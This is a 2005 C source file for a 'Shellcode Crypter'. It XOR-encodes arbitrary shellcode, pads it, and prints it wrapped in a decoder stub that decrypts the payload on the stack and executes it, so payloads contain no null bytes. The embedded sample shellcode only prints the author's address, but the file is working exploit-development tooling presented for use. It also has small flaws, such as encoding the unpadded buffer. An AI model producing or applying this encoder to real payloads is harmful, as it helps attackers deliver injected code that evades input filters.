Shellcode Crypter is a shellcode encryption utility.
7036e758f501a16d557e1a68a5eec6b841a643a579614547a2c9f51501624c06
/*
* Shellcode Crypter (Linux _ Windows) (?!?) ALPHA_beta
* Coded by Shen139 21-01-2005 - 13:00
* shen139 (at) eviltime [dot] c0m
*
* ...
* //PUT HERE YOUR SHELLCODE
* char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
* "\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
* "\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";
* ...
*
* Put tHERE your shellcode, then run the program and copy the output! That's your shellcode:
* crypted and encapsulated into a decrypter that decrypt it into the stack and then execute it!
*
* -[...You won't worry anymore for 0x00 in your shellcode...]-
*
* Enjoy :D
*
*/
//PUT HERE YOUR SHELLCODE
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
"\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
"\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";
//Set SHELLCODE_LENGHT with 0 if your shellcode does not contain \x00
// otherwise set it with the lenght of the shellcode
#define SHELLCODE_LENGHT 0
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAGIC_SUFFIX_PARTa "\\x33\\xC9\\x8B\\xDC\\x80\\x33"
#define MAGIC_SUFFIX_PARTb "\\x43\\x41\\x83\\xF9"
#define MAXIC_SUFFIX_PARTc "\\x75\\xF6\\x54\\xC3"
int main()
{
char*flShellcode=(char*)malloc(sizeof(shellcode)+4);
int i,b,SLLen,xor,found;
printf("Shellcode Crypter\n Coded by Shen139\n shen139 (at) eviltime [dot] com\n\n\n");
// stage1
SLLen=(SHELLCODE_LENGHT==0)?strlen(shellcode):SHELLCODE_LENGHT;
memcpy(flShellcode,shellcode,SLLen);
for(xor=1;xor<=0xFF;xor++)
{
found=1;
for(b=0;b<SLLen;b++)
{
if(flShellcode[b]==xor)
{
found=0;
break;
}
}
if(found==1)
break;
}
printf(" - Xoring with 0x%X\n\n\n - Shellcode:\n\n",xor);
// stage2
while(SLLen%4!=0)
flShellcode[SLLen++]= (unsigned char)0x90;
// stage3
for(i=SLLen-4;i>=0;i-=4)
{
printf("\\x68");
for(b=0;b<4;b++)
printf("\\x%X",(unsigned char)shellcode[i+b]^xor);
}
// stage4
printf(MAGIC_SUFFIX_PARTa);
printf("\\x%X",xor);
printf(MAGIC_SUFFIX_PARTb);
printf("\\x%X",(unsigned char)strlen(shellcode));
printf(MAXIC_SUFFIX_PARTc);
printf("\n\n");
return 0;
}
/*EOF*/